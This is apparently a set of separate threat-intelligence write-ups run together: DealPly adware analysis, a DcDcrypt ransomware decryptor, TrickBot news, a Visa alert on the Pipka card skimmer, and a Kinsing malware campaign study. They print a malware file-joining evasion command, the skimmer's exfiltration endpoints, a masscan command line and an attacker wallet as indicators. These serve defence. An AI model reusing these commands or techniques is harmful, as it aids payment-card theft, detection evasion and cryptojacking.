`{3CB9B109-866A-591E-48D3-17289C7F88F1}.job`. In some cases, a VBScript is used to create a RunOnce autostart for the executable. Normally, these newly formed files with auto-start also connect to a remote server. In a sample we analyzed from another case, the server responded with an XOR-encrypted DLL after it sent the following information via HTTP POST: During analysis, the DLL file was not saved on disk, indicating reflective loading. It is also responsible for creating the following files, which are also evident in the timeline above: - `info.dat` - `TTL.DAT` - `WB.cfg` These files are non-executable and only contain installation details such as installation date and last operating system. Eventually, the DLL will attempt to download another .dat file. Unfortunately, we were unable to get a download response during our testing; based on the timing sequence, we surmise that `sb953.dat` and `sb703.dat` might be the response. ## Hidden Facts The other encrypted files were also PE files, but the headers aren’t quite right. Even though we do not have the decryption code and are unable to fully decrypt these files, we eventually figured out how to extract the strings from the file by using a translate function wherein each character is swapped with another one in the ASCII table. For example, “c” is swapped with “x,” “F” with “L,” and so on. Each file has a different translation table. Below are some of the files encrypted this way: We observed that most machines with a DealPly infection also have `Sqlite3.dll` (non-malicious) in the adware folder. It is to be noted that Sqlite is an extensively used database format. Coincidentally, the encrypted files (bapi_ie.dat, bapi_chmm.dat, and bapi_ff.dat) also contain SQLite-related strings, which suggest that the files may be used to perform database-related tasks. Since we could not fully decrypt these files, we were also unable to analyze them to identify their purpose. Based on the partially extracted strings and combined with the fact that `sqlite3.dll` was observed in our analysis, it is highly possible that it would be used to interact with the SQLite databases of browsers within the system, as it is known that both Chrome and Firefox utilize SQLite databases to store their data. The other set of files contains libcurl-related strings, which is a multi-protocol file transfer library. That being said, it has the potential to interface with multiple protocols like HTTPS, HTTP, or FTP. It is unclear if this library has been used for malicious purposes, but in a 2018 report, these strings were also found in samples that were once used by the APT group Hidden Cobra as a proxy module to allow incoming connections and force the infected system to act as a proxy server. ## Noteworthy Points from Our Analyses - DealPly and ManageX can come bundled in a seemingly legitimate installer, along with other PUAs. We observed the same entry point as Case Study #1 in another machine, which was called “Baixaki_Baixar Musicas Gratis_3890201077.exe” (translates to Baixaki_Download Free Music_3890201077.exe in Portuguese). But it did not come with the Segurazo fake AV. - There was no concrete evidence in Case Study #2 regarding the source, but based on the artifacts created on the first infection date, it might also have come from a software installation bundle. - The installation of this adware is highly modular and does not complete its routine right away. Based on our observation, it takes a few weeks to months before it can connect to its servers successfully. - The technique used by this adware, whereby two files are conjoined to form another file, is called binary fragmentation and is used to evade detection. Carbon Black published an article years ago about how it was used by Operation Aurora. Below is an example of the fragmentation technique seen in one of our analyses: ``` CLI: c:\windows\syswow64\cmd.exe /c cmd /d /c copy /b /y /v “c:\users\\appdata\local\temp\d3284081000781.dat”+”c:\users\\appdata\local\temp\d3284081000782.dat” “c:\users\\appdata\roaming\14be90~1\syncversion.exe” & cmd /d /c del “c:\users\\appdata\local\temp\d3284081000781.dat” & cmd /d /c del “c:\users\\appdata\local\temp\d3284081000782.dat” ``` Carbon Black researchers also believed that threat actors are using known adware variants, including DealPly, as a delivery mechanism for ransomware and other malware. While we have observed several cases of ransomware in the same machines infected by DealPly, we have no concrete evidence to prove their relationship. In spite of this, we agree that this adware can easily be used as an agent to deliver malware covertly, given its modular nature. ## Global Distribution Our telemetry indicates the widespread installation of the mentioned PUAs, with the United States, Japan, and Taiwan topping the counts. The IsErIk count is based on behavior monitoring, which detects the command line parameter “–IsErIk”, while both DealPly and ManageX are based on signature-based detections data from the Trend Micro™ Smart Protection Network™ security infrastructure. Among all users with known industry classifications, the top industries across all the three adware detections mentioned above were consistent: Education, Government, and Manufacturing. ## Correlating DealPly, IsErIk, and ManageX When we started our probe, we considered all these as separate even though they share common traits such as the use of scheduled tasks and the similar way its servers were named. However, through Managed XDR, we were able to link them together. To see if this is consistent with global data, we gathered more information from SPN. The number of DealPly, IsErIk, and ManageX detections and their infection intersections in endpoints, based on data from the Trend Micro Smart Protection Network infrastructure for the period of December 18, 2019 to March 17, 2020: DealPly led the number of detections; we also observed the three threats to have concurring infections in machines. While there are significantly higher numbers for individual detections, hundreds to thousands of intersections between two or three of these adware do not seem like a coincidence. Furthermore, the large number of detections could be attributed to detection coverage, which appears higher for DealPly because of multiple pattern detections. Since Trend Micro detects a lot of these variants, it is likely that most of these infections were already blocked before complete installation. Therefore, the numbers shown in this diagram could be smaller than the actual intersections. Along with the results of our analyses, and considering the points mentioned, we think that there is a high likelihood that these adware commonly coexist. We also tried to correlate the C&C servers used, but a huge part of it is entirely disconnected. Only two pairs had similarities. | ManageX | IP address | DealPly | |------------------------|--------------------|-----------------------| | qamopo[.]com | 13.32.230.240 | tuwoqol[.]com | | pacudoh[.]com | 52.222.149.67 | daqah[.]com | While the intersection is too weak to summarize that these three threats are interrelated based on network infrastructure, we do have to point out that the domains were registered through the Israeli registrar Galcomm’s privacy protection service (domainprivacy@galcomm[.]com). A few years back, Ars Technica ran an article about when SourceForge bundled GIMP for Windows with adware. The installer(s) of GIMP also came bundled with similar adware, which was also registered through Galcomm’s privacy protection service. ## Conclusion and Trend Micro Solutions Mitigating adware (or potentially unwanted applications) would normally be secondary to dealing with threats such as hacking tools, backdoors, and ransomware. However, there is a large disconnect in dealing with alerts visible through the lens of a security operations center (SOC) analyst: Why is this host suddenly communicating to a command-and-control (C&C) server? How was the threat introduced? Why is it seemingly slipping past defenses? The seemingly disconnected and repetitive alerts for hosts reaching out to C&C servers, and repetitive detections of low priority threat (adware) led us to these three points: - As evidenced in the details we discussed, linking separate and seemingly disparate events into a single timeline is a definite challenge as threats are turning to sophisticated methods to maintain persistence and continuously evolve if not fully mitigated. Using open-source intelligence (OSINT) could only give analysts a glimpse of its relevant connections and is not as sufficient. Using security expertise also helps provide meaningful alerts and alleviates security operations teams. - Through the effective use of technologies of a Trend Micro product (Apex One’s Endpoint Detection and Response module called Endpoint Sensor in particular), Trend Micro’s Managed XDR Service was able to perform advanced threat analysis, correlation, and research while monitoring and detecting threats of these highly prevalent clusters of adware. - Only through careful observation are details slowly uncovered, delivering analysis of where the attack came from, its infection chain, and mitigation strategies over time. Thus, the speed of converting these discoveries and translating them into mitigation strategies is key to improve the security posture of any environment rapidly. Organizations and governments can benefit from advanced Trend Micro solutions that can proactively keep IT environments protected from a wide range of cybersecurity threats. The Trend Micro XDR solution effectively protects connected emails, endpoints, servers, cloud workloads, and networks. Trend Micro XDR uses powerful AI and expert security analytics to correlate data, as well as deliver fewer higher-fidelity alerts for early threat detection. In a single console, it provides a broader perspective of enterprise systems as well as a more focused and optimized set of alerts. This provides IT security teams with better context for identifying threats more quickly, helping them understand and remediate impact much more effectively. Meanwhile, Trend Micro Managed XDR provides expert threat monitoring, correlation, and analysis from skilled and seasoned Managed Detection and Response analysts. Managed XDR is a flexible, 24/7 service that allows organizations to have one single source of detection, analysis, and response. Analyst expertise is enhanced by Trend Micro solutions that are optimized by AI and enriched by global threat intelligence. The Managed XDR service allows organizations to expand with the cloud without sacrificing security or overburdening IT teams.
# DcDcrypt Ransomware Decryptor By Gaurav Yadav September 26, 2022 We at K7 Labs came across a DcDcrypt ransomware sample that had infected a user machine and encrypted all user files. Usually, the chances of getting back the encrypted files in such a scenario are 0, given the level of sophistication involved in the encryption. Also, paying up the ransomware does not guarantee the files will be decrypted as “promised” in the ransomware note. Usually, the ransom notes and the encrypted files are only left behind in a victimized system; the ransomware sample usually gets self-deleted. This case wasn’t so; the ransomware binary was available, and naturally, we had a closer look at it. Turns out we were able to decrypt the user files after having looked at the malware. The malware and the decryptor will be henceforth discussed. ## Analyzing Ransomware This is a basic ransomware written in C#. It encrypts the user files and writes a ransom note in every directory. It does not delete backups, does not create persistence, and does not even self-delete (like we mentioned earlier). Upon execution, this ransomware first checks for a file named “ID.cl.” If the file is not present in the same directory, it creates the file and writes a randomly generated ID (used as Victim ID in this case) into it and also stores the ID for further use in a variable named userID. If the ID.cl file is already present in the same directory, it will read and store the content (ID) into the same variable userID. This ransomware then asks the user to write "yes" and press enter to continue the encryption through the command line. Once obliged, before the start of the encryption, the ransomware first uses the userID and a hardcoded salt to create a password. It uses the method GetHashCode of the passwordHasher class, which is then stored in a variable named password. The GetHashCode method just adds the userID and salt and sends it to another method called Hasher, which will create a Sha512 hash of the added userID and salt. Then the sha512 hash is converted into base64. The resultant value is stored in the variable named password of the class CoreEncrypter. After generating the password, the ransomware starts encrypting the contents of the current directory. The Enc method takes the current directory path as an argument and starts encrypting the files within, traversing all the folders inside the current directory. This ransomware does not encrypt anything other than the contents of the current directory it has been run from. The Enc method contains two “for” loops, one to traverse the sub-directories within the current directory using a recursive call to the Enc method and the other one to encrypt the files of the current directory. Before encrypting the file, it first checks if the file name contains any of the following strings: - ‘.[Enc]’ which is present in the extension of the encrypted file. - ‘.hta’ which is the extension of the ransom note. - ‘ID.cl’ is the userID file that ransomware creates in the beginning. - ‘desktop.ini’ is a configuration file. - ‘Encrypter.exe’ is the name of the ransomware. If any one of these strings is present in the filename, then the ransomware won’t encrypt that file. EncryptFile contains the encryption routine which is being called in the For loop with the filename as an argument. As we can see, the EncryptFile method uses Rfc2898DeriveBytes to generate bytes using a password (generated previously using userID and salt) and a salt which can later be used to derive the key and IV (Initialization Vector) for the encryption algorithm. This ransomware uses Rijndael as the encryption algorithm, which is the predecessor of the AES algorithm. At default block size (128 bytes) and in CBC mode, it works like AES itself. Microsoft declared this algorithm as obsolete and suggests using AES instead. The password that is generated using userID and hardcoded salt remains the same for the same userID, and since the password is the same, the key and IV generated using Rfc2898DeriveBytes also remain the same for the same userID. Rijndael is a symmetric algorithm, so the Key-IV pair used for encryption can be used for decryption also. After initializing all the variables related to encryption, it writes a ransom note in the current directory. Then the ransomware checks for the file size. If it is less than 1,000,000 bytes, it will create a new file with the same name + encryption extension and then encrypt the original file and put the encrypted content in the new file and delete the original file. But if it is larger than the mentioned size, it will just XOR the 1st byte of the file with 255 and rename the file with the original name + encryption extension, where the encryption extension is .[Enc] `[[email protected] And [email protected] (send both) ATTACK ID = %userID% Telegram ID = @decryptionsupport1]`. ## Decryptor Internals As we already know, the ransomware generates a password using userID that it created randomly and a hardcoded salt. Since every infected user has a unique userID and we know it will be stored in a file called ID.cl, in our decryptor, instead of creating the userID, we would instead read the ID.cl file to get the userID and use the same method for generating the password (GetHashCode) as the ransomware did to generate the password. After that, this tool would scan all the drives for any encrypted files; all the encrypted files have .[Enc] in their extension, hence identifying the encrypted file wouldn’t be too hard. Since the ransomware used built-in classes and methods provided by .NET for encrypting the files (RijndaelManaged), we can use the same for decrypting the files. We will generate the Key and IV the same way the ransomware generated with the password using Rfc2898DeriveBytes. In order to decrypt, the file size is checked. If it is less than 1,000,000 bytes, then the tool would proceed to decrypt it. The ransomware uses rijndaelManaged.CreateEncryptor to create an encryption stream; in the same manner, we can use rijndaelManaged.CreateDecryptor to create the decryption stream. It would use the Key-IV generated before for decryption. After decryption, we will write the decrypted bytes into a new file and keep the encrypted file as .[backup] in case the file is not decrypted correctly. For files above 1,000,000 bytes, we will XOR the 1st byte with 255 again to get the original byte and rename the file as the original name (without encryption extension). We at K7 Labs provide detection for the DcDcrypt ransomware and all the latest threats. Users are advised to use a reliable security product such as “K7 Total Security” and keep it up-to-date to safeguard their devices. ## Indicators of Compromise (IOCs) | Filename | Hash | Detection Name | |-----------------|-------------------------------------------|-------------------------| | Encrypter.exe | 1A5C50172527D4F867951FF73AB09ED5 | Trojan(0001140e1) |
# TrickBot: New Attacks See the Botnet Deploy New Banking Module, New Ransomware Over the course of the past few weeks, new activity has been observed from TrickBot, one of today’s largest malware botnets, with reports that its operators have helped create a new ransomware strain called Diavol and that the TrickBot gang is returning to its roots as a banking trojan with a new and updated banking module. In a report from cybersecurity firm Fortinet, malware researchers Dor Neeamni and Asaf Rubinfeld detailed the TrickBot gang’s newest work, the Diavol ransomware: - Per Fortinet, Diavol was seen in the wild in only one incident, deployed alongside a version of the Conti ransomware in what appeared to have been a test run. - The Diavol code also contained multiple similarities with the code for the Conti ransomware. - Following this discovery, Fortinet said it believed Diavol was the work of the Wizard Spider gang, an industry codename for the operators of the TrickBot botnet and the Conti ransomware. - The Diavol ransomware also reused some language from Egregor ransom notes, but no other connection has been seen between the two. - No leak site has been discovered for Diavol yet. - Surprisingly, Diavol did not come with code to prevent the ransomware from running inside former Soviet states, something that is found in almost all major ransomware strains today. The ransomware’s name, Diavol, means “devil” in Romanian. But while Diavol has been linked to the TrickBot creators, in a report published yesterday, security firm Kryptos Logic said it spotted changes to the TrickBot malware code itself: - Since June 2021, TrickBot has been seen pushing a new module on infected computers. The new module contains a revamped version of its old banking component that tries to intercept credentials for e-banking websites. - Called a “webinject” module, this component has been rewritten to include new methods to inject malicious code inside banking websites. - Per Kryptos Logic, this new code appears to have been copied from the old Zeus banking malware, different from the two webinject techniques TrickBot had used in previous years. - Zeus-style injects work by proxying traffic through a local SOCKS server. If the web traffic matches a list of banking login URLs, the traffic is modified accordingly with malicious code to record credentials or carry out other operations. - Per Kryptos Logic, this new banking/webinject module shares substantial code with IcedID‘s webinject module. - The move to support Zeus-style web injects may be an attempt from the TrickBot gang to muscle into the territory of other Malware-as-a-Service banking trojans and steal some of their customers in the underground cybercrime market. - The resumption of development of the webinject module indicates that TrickBot intends to revive its bank fraud operation, which appears to have been shelved for over a year. - The addition of Zeus-style webinjects may suggest expansion of their Malware-as-a-Service platform, enabling users to bring their own webinjects. TrickBot has brought back their bank fraud module, which has been updated to support Zeus-style webinjects. This could suggest they are resuming their bank fraud operation and plan to expand access to those unfamiliar with their internal webinject format. **Tags**: banking trojan, botnet, Diavol, malware, ransomware, TrickBot, webinject, Wizard Spider Catalin Cimpanu is a cybersecurity reporter for The Record. He previously worked at ZDNet and Bleeping Computer, where he became a well-known name in the industry for his constant scoops on new vulnerabilities, cyberattacks, and law enforcement actions against hackers.
# Visa Payment Fraud Disruption **Visa Security Alert** **NOVEMBER 2019** ## New JavaScript Skimmer ‘Pipka’ Targeting eCommerce Merchants **Distribution:** Issuers, Acquirers, Processors and Merchants ### Summary In September 2019, Visa Payment Fraud Disruption’s (PFD) eCommerce Threat Disruption (eTD) program identified a new JavaScript skimmer that targets payment data entered into payment forms of eCommerce merchant websites. PFD is naming the skimmer Pipka, due to the skimmer’s configured exfiltration point at the time of analysis. Pipka was identified on a North American merchant website that was previously infected with the JavaScript skimmer Inter, and PFD has since identified at least sixteen additional merchant websites compromised with Pipka. Unlike previous JavaScript skimmers, Pipka is able to remove itself from the HTML of the compromised website after it executes, thus decreasing the likelihood of detection. ### Threat Description Similar to Inter, Pipka enables cybercriminals to configure which form fields the skimmer will parse and extract, such as payment account number, expiration date, CVV, and cardholder name and address, from the checkout pages of the targeted merchant website. The skimmer checks for these configured fields before executing, and in the cases investigated by PFD, the skimmer is configured to check for the payment account number field. Pipka is injected directly into varying locations on the targeted merchant’s website and, once executed, harvests the data in the configured form fields. The harvested data is base64 encoded and encrypted using ROT13 cipher. Before exfiltrating the harvested data, the skimmer checks if the data string was previously sent in order to avoid sending duplicate data. If the string is unique, the data is exfiltrated to a command and control (C2). PFD identified the following Pipka C2s: - http://188.127.251.244/index.php?pipka= - http://188.127.251.244/index.php?id=1&pipka= - http://188.127.251.244/index.php?id=2&pipka= The most interesting and unique aspect of Pipka is its ability to remove itself from the HTML code after it is successfully executed. This enables Pipka to avoid detection, as it is not present within the HTML code after initial execution. This is a feature that has not been previously seen in the wild, and marks a significant development in JavaScript skimming. Much like Inter, Pipka is designed to allow an attacker to configure various aspects of the skimmer. An attacker can configure the specific form fields from which to skim data. These fields include a key, configured by the variable trigger or calculated for the variable curstep, that is used to store form data in a cookie for later exfiltration, the exfiltration point or gate, and a scriptId, which is an HTML ID for the skimmer script itself. **Targeted payment account number fields observed in the wild:** - authorizenet_cc_number - ctl00_PageContent_tbCardNumber - input-cc-number - cc_number - paypal_direct_cc_number - ECommerce_DF_paymentMethod_number - input[id$=\x27_CardNumber\x27] All observed samples contained the same value for scriptId: ‘#script’. One sample is customized to target two-step checkout pages that collect billing data on one page and payment account data on another. This sample uses two different lists to target form fields, inputsBill and inputsCard, and the variable curStep to calculate which form’s data is being stored in a cookie instead of the variable name trigger. Pipka also includes some unique features not previously observed by PFD. The most interesting features focus on anti-forensics. When the skimmer executes, on script load, it calls the start function, which calls the clear function and sets the skimmer to look for data every second. The clear function locates the skimmer’s script tag on the page and removes it. Since this happens immediately after the script loads, it is difficult for analysts or website administrators to spot the code when visiting the page. This self-cleaning feature is common in desktop malware, but has not been observed in JavaScript skimmers until now. In addition to the self-cleaning of the script tag, Pipka also uses a novel method to hide exfiltration. Skimmed data is exfiltrated using an image GET request, similar to several other JavaScript skimmers. However, instead of loading and then immediately removing the image tag, Pipka sets the onload attribute of the image tag. The onload attribute executes supplied JavaScript when the tag is loaded, in this case the JavaScript removes the image tag once it is loaded. While the end result of Pipka is the same as many other JavaScript skimmers, the developer behind this script uses unique methods to obtain these results, such as the self-cleaning capability. Another example of the skimmer’s unique methods is the ROT13 and Base64 encoding of the skimmed data. The use of a ROT13 cipher has been observed before, but it was implemented on the exfiltration server, not in the skimmer itself. PFD assesses that Pipka will continue to be used by threat actors to compromise eCommerce merchant websites and harvest payment account data. ### Best practices and mitigation measures - Institute recurring checks in eCommerce environments for communications with the C2s provided in this report. - Ensure familiarity and vigilance with code integrated into eCommerce environments via service providers. - Closely vet utilized Content Delivery Networks (CDN). - Regularly scan and test eCommerce sites for vulnerabilities or malware. Hire a trusted professional or service provider with a reputation for security to secure the eCommerce environment. Ask questions and require a report of what was done. Trust, but verify the steps taken by the company you hire. - Regularly ensure shopping cart, other services, and all software are upgraded or patched to the latest versions to keep attackers out. Set up a Web Application Firewall to block suspicious and malicious requests from reaching the website. There are options that are free, simple to use, and practical for small merchants. - Limit access to the administrative portal and accounts to those who need them. - Require strong administrative passwords (use a password manager for best results) and enable two-factor authentication. - Consider using a fully-hosted checkout solution where customers enter their payment details on another webpage hosted by that checkout solution, separate from the merchant’s site. This is the most secure way to protect the merchant and their customers from eCommerce skimming malware. Hosted checkout forms embedded inline on the merchant’s checkout page, such as Visa Checkout, are another secure option. - Implement Best Practices for Securing eCommerce as outlined by the PCI Security Standards Council. - Refer to Visa’s What to do if Compromised (WTDIC) document, published October 2019. **Disclaimer:** This report is intended for informational purposes only and should not be relied upon for operational, marketing, legal, technical, tax, financial or other advice. Visa is not responsible for your use of the information contained in this report (including errors, omissions, or non-timeliness of any kind) or any assumptions or conclusions you may draw from it. All Visa Payment Fraud Disruption Situational Intelligence Assessment content is provided for the intended recipient only, and on a need-to-know basis. PFD reporting and intelligence are intended solely for the internal use of the individual and organization to which they are addressed. Dissemination or redistribution of PFD products without express permission is strictly prohibited.
# Kinsing Malware and Its Exploitation Campaigns Kinsing, a malware family distributed by the H2Miner botnet, is known for targeting Linux-based infrastructure systems including Docker container hosts, Redis instances, and Salt servers. Up to this point, the security firm Intezer and an individual known as “Blackorbird” on Twitter have published evidence linking Kinsing to a Salt exploitation campaign from early May 2020. Red Canary has uncovered additional evidence linking the Kinsing malware family to Salt server attack campaigns, and how these attacks seem to relate to the Citrix ADC/Netscaler exploits from earlier in the year. This post includes a comparison of publicly available research from various sources, some manual analysis of binaries collected from VirusTotal, and additional research based on observations across the environments that Red Canary monitors. ## Establishing Kinsing ### Docker & Redis Host Exploitation One of the better-documented H2Miner/Kinsing campaigns occurred from December 2019 to March 2020 and was documented by Aqua Security. In this campaign, the H2Miner botnet exploited misconfigured Docker Engine API ports to deploy a compromised Docker container. The entry point for the compromised container would download and execute a script, `d.sh`. Consistent with other opportunistic miner threats documented here and elsewhere, the `d.sh` script attempted to stop and remove other potential cryptocurrency miners from victim systems in addition to some security tools. Finally, the script downloaded a Golang-based remote administration tool (RAT) and established persistence via a cron job. This cron persistence would repeat the infection process and keep the RAT running. Eventually, the malware would attempt to execute a script for lateral movement. To achieve this, a script would enumerate all SSH known hosts and potential keys from `known-hosts`, `authorized-keys`, `.bash-history`, and other files. Once a list of hosts and keys is gathered, the script issues `ssh` commands to move laterally around the environment and deploy itself. ### Golang RAT The primary malware deployed during Docker host exploitation was a Golang-based RAT named `kinsing`. In the deployment scripts, the RAT was even named `kinsing` during downloads for execution. It bears mentioning that while `kinsing` is a tool used by the H2Miner cryptocurrency miner botnet, the RAT itself is separate from the mining component. The RAT uses the go-resty, gopsutil, osext, and diskv Go libraries for multiple tasks related to command and control (C2), process monitoring, and execution. Researchers from Alibaba Cloud analyzed Kinsing in January 2020 as part of an investigation into the H2Miner botnet and tied it to the exploitation of vulnerable Redis servers. In their analysis, they identified multiple function symbols, including some with the following names: - `backconnect` - `checkHealth` - `connectForSocks` - `downloadAndExecute` - `getMinerPid` - `isMinerRunning` - `runTask` - `masscan` Analysis by Lacework revealed an additional point of interest: the Kinsing malware often contains the complete play of *Hamlet* by William Shakespeare as a measure to slow analysis. Trend Micro’s analysis indicated that Kinsing supported several commands from C2 with data reported back in the C2 URL with special formatting. In these cases, it appeared that these C2 URL fields included: - `/get` - `/h` - `/getT` - `/l` - `/o` - `/r` - `/s` - `/mg` - `/ms` In each campaign where Kinsing is used, the RAT binary contains a hardcoded filename where it will deploy a XMRIG Monero miner binary. In our analysis at Red Canary, we noticed an additional point of interest: Kinsing’s `masscan` functionality is implemented by unpacking a `firewire.sh` shell script containing code to install `libpcap` dependencies and execute masscan as the process name `firewire`. The command line for this execution followed this pattern: ``` firewire -iL <input list> --rate <rate> -p<ports> -oL <output list> 2>/dev/null ``` ### Deployed XMRIG In both the Redis and Docker host exploitation campaigns, the Kinsing RAT went on to deploy and execute an XMRIG Monero miner process. In the case of the Docker host campaign, it was named `kdevtmpfsi`. During our analysis, the binary contained all the properties we’d expect of an unprotected XMRIG executable. Multiple binary strings matched XMRIG usage options in plaintext as well as expected version numbers. In addition to this confirmation of XMRIG’s presence, the adversary included plaintext configuration data embedded into the binary. Often when the official XMRIG releases are used, an operator supplies a `config.json` file with all the information needed to make the miner work. In the case of this binary, the contents of `config.json` were embedded, disclosing details we can use for tracking the H2Miner campaigns. While the configuration was fairly generic, one piece of information stood out: the Monero wallet address. ## Linking Kinsing to SaltStack In May 2020, security vendors linked Kinsing to an additional campaign: one exploiting SaltStack CVE-2020-11651 and CVE-2020-11652. Initial reports were posted via Twitter and were later followed by reporting from various sources. Intezer took the lead on this documentation, demonstrating through an analysis of code similarities that the samples seen in SaltStack exploits were related to the Kinsing RAT. First, in observing the TTPs involved for the SaltStack campaign, we can determine the affected SaltStack services were exploited to download and execute scripts that are similar to the function and structure of previous Kinsing campaigns. The actor shows the tendency to use single-letter names on their shell scripts, move laterally via SSH, manipulate cron jobs for persistence, and perform `md5sum` hash checking to verify malware integrity before execution. In the execution of the malware, two binaries showed up: a Golang-based RAT and a XMRIG miner. This matches previous Kinsing campaigns. ### Matching Monero Wallet Address One of the strongest ties between the SaltStack campaign and the previous H2Miner/Kinsing campaigns is the presence of a shared Monero wallet address: ``` 46V5WXwS3gXfsgR7fgXeGP4KAXtQTXJfkicBoRSHXwGbhVzj1JXZRJRhbMrvhxvXvgbJuyV3GGWzD6JvVMuQwAXxLZmTWkb ``` This wallet address appeared in miner samples from the Docker host, Redis, and SaltStack compromises. As in previous samples, the ones from the SaltStack campaign contained an embedded JSON-formatted configuration file for XMRIG. This does not necessarily indicate that all the campaigns were performed by the same actor, but it does suggest that the funds from all the campaigns made a stop in the same account/wallet before distribution. After entering this wallet, the funds could funnel through a laundering operation or the operators could convert it to different currencies for distribution. ## The Play’s the Thing: Hamlet in the Binary Strings Another piece of evidence tying the SaltStack campaign to previous H2Miner/Kinsing campaigns was the presence of the text of *Hamlet* by William Shakespeare, in its entirety, in the RAT’s binary strings. This additional text bloated the RAT binary to 15MB in size and provided some entertainment during analysis of the malware. In all reality, the padding didn’t prove to slow down analysis greatly. Its inclusion could reflect the adversary’s desire to increase the malware’s file size, as antivirus configurations sometimes exclude files above a specified size. ### Embedded “masscan” Script in Binary Another piece of familiar evidence appeared in the `salt-store` Golang RAT binary from the SaltStack campaign: an embedded shell script that incorporated `masscan` functionality. As with the previous campaigns, the embedded shell script deployed dependencies, referred to the `masscan` binary as “firewire,” and called `masscan` with the exact same command-line arguments. ## Linking Kinsing to Citrix ADC In January 2020, the year started off with several malware families conducting campaigns against Citrix Application Delivery Controller (ADC) devices via CVE-2019-19781. While Kinsing and H2Miner have not been formally tied to an ADC campaign, we’ve found enough evidence in both public research and our own analysis to assess with high confidence that Kinsing malware was used in the ADC campaign. During one campaign, a Golang RAT and Monero miner component appeared in Citrix ADCs. An awesome blog post from IronNet discusses these findings in detail. First, IronNet dove into analysis of a malicious `nspps` Golang binary masquerading as a legitimate ADC process named `nsppe`. This malware contained capabilities to encrypt C2 traffic, use SOCKS proxies, execute commands, run a XMRIG miner, and run `masscan`. When analyzing the C2 protocol used by `nspps`, IronNet noted these network POST requests: - `/h` - `/get` - `/getT` - `/l` - `/o` - `/r` - `/s` The article includes a detailed summary of these calls, which when compared to C2 calls documented by Trend Micro show evidence that `nspps` and Kinsing malware both use similar, if not the exact same, C2 protocols. Analysis also determined `nspps` contained incredibly similar tasking capabilities: - `backconnect` - `download_and_exec` - `exec` - `masscan` - `redis_brute` - `scan` - `socks` - `update` In our own analysis, Red Canary found that numerous binary strings were shared across the `nspps` binary and previous Kinsing malware samples. The entirety of *Hamlet* did not appear in this binary, but we did find other similarities. In the Citrix ADC campaign, `nspps` deployed a XMRIG miner named `netscalerd`. This binary was named to again masquerade as a system process as ADCs were once named Citrix Netscaler devices. As with former Kinsing campaigns, numerous strings within the binary showed an embedded `config.json` configuration file and the expected usage instructions for an XMRIG binary. ### Matching Monero Wallet Address While examining the XMRIG embedded `config.json` file, you probably spotted what we did: the Monero wallet address ``` 46V5WXwS3gXfsgR7fgXeGP4KAXtQTXJfkicBoRSHXwGbhVzj1JXZRJRhbMrvhxvXvgbJuyV3GGWzD6JvVMuQwAXxLZmTWkb ``` appeared in the Citrix ADC miner sample. This wallet address also featured prominently in the other Kinsing campaigns. While this isn’t definitive evidence for attribution, it proved to be an excellent way to tie the campaigns together since searching VirusTotal Intelligence for this wallet address helped us map out the related samples. ### Embedded “masscan” Script in Binary As with other Kinsing samples, `nspps` contained an embedded script to deploy dependencies and run `masscan`. In this script, the binary was named “firewire” and also used the same command-line arguments found in other samples. ## Linking Kinsing to F5 BIG-IP Exploitation In June 2020, F5 issued guidance concerning a vulnerability discovered within their BIG-IP network appliances. CVE-2020-5902 for these devices allows remote code execution without authentication and has subsequently allowed adversaries to exploit F5 systems for an initial foothold into networks. While monitoring a VirusTotal LiveHunt YARA rule for Kinsing, we found a new version uploaded under the name “bigip.” As of this writing, there is no public documentation around Kinsing/H2Miner exploiting F5 appliances but this binary name could be an indication. This binary matched the previously mentioned function names for Kinsing malware and also contained the complete text of *Hamlet*. In addition, around the same time another XMRIG sample with the Kinsing Monero wallet address appeared on VirusTotal under the name “bigipdaemon.” This matches the same pattern we observed before: Golang RAT, then XMRIG miner. ## Attribution Implications and Complications ### The Monero Wallet Connection The Monero wallet address shared across all samples mentioned is what originally drew our attention to further analyze Kinsing campaigns. It was our first piece of evidence but it wasn’t strong enough to stand on its own. The largest implication of this shared wallet address is that the campaigns may be related to the same actor or group. While we can’t assert that the same exact people used Kinsing during the campaigns, we feel there is enough evidence to indicate that the Kinsing RAT has been used across additional campaigns than previously documented. Threat intelligence should always be questioned, so let’s take a moment to examine this assumption: should a shared wallet address indicate the same actor? What other possible explanations exist? Cryptocurrencies have enabled the rapid movement of funds via the internet, and Monero in particular has introduced privacy features that complicate the money trail. We know from the miner configurations that funds went into this wallet, but it remains an opaque structure to us and we cannot know where the funds go afterward. In the physical world, this would be the equivalent to dropping money into an anonymous bank account. We generally assume that the account belongs to someone, but there’s no way to know if the account belongs to a person, group, or a proxy holding the funds in escrow for later distribution. In the ideal case, the same actors across these campaigns would be the owner of the account. In the worst case, the account would be the first stop in a chain of transactions to hide the origin of the funds. ## Conclusions About Capabilities During our analysis of capabilities and campaigns, we made one large assumption: that the H2Miner botnet operating Kinsing has exclusive access to Kinsing source code. This is the simplest explanation, as we have not found evidence suggesting the source code for Kinsing is available publicly on the internet, and it has not been used widely enough to indicate that Kinsing is a malware-as-a-service offering. Alternate explanations to challenge this assumption include the possibility that Kinsing code is shared across multiple actors or groups, but this possibility would also need to take into account shared access for the Monero wallet address. Any shared code access would also require access to the funds gained. The first and most obvious conclusion we can draw about capabilities is the fact that one or more actors have used Kinsing across Linux and FreeBSD platforms. Previous to this assertion, there was no evidence that Kinsing or its operator botnet H2Miner had targeted FreeBSD devices. This capability suggests that the Kinsing operators are familiar with the ability of Golang to cross-compile for multiple platforms and that they are either familiar with the operating system components of enterprise network devices or can quickly learn them. This is an important conclusion to draw in 2020 and beyond because of the increasing number of remote code execution vulnerabilities for enterprise network appliances, including those for Palo Alto and F5 Big-IP devices. In addition, Kinsing operators are familiar with the ability to rapidly weaponize emerging remote code execution exploits for opportunistic use. It’s important to note that these threats are not going away and will seek opportunities to exploit any devices connected to the public internet. The safest way to mitigate these threats is to patch and segment your network, protecting the management interfaces of network devices from unauthorized access.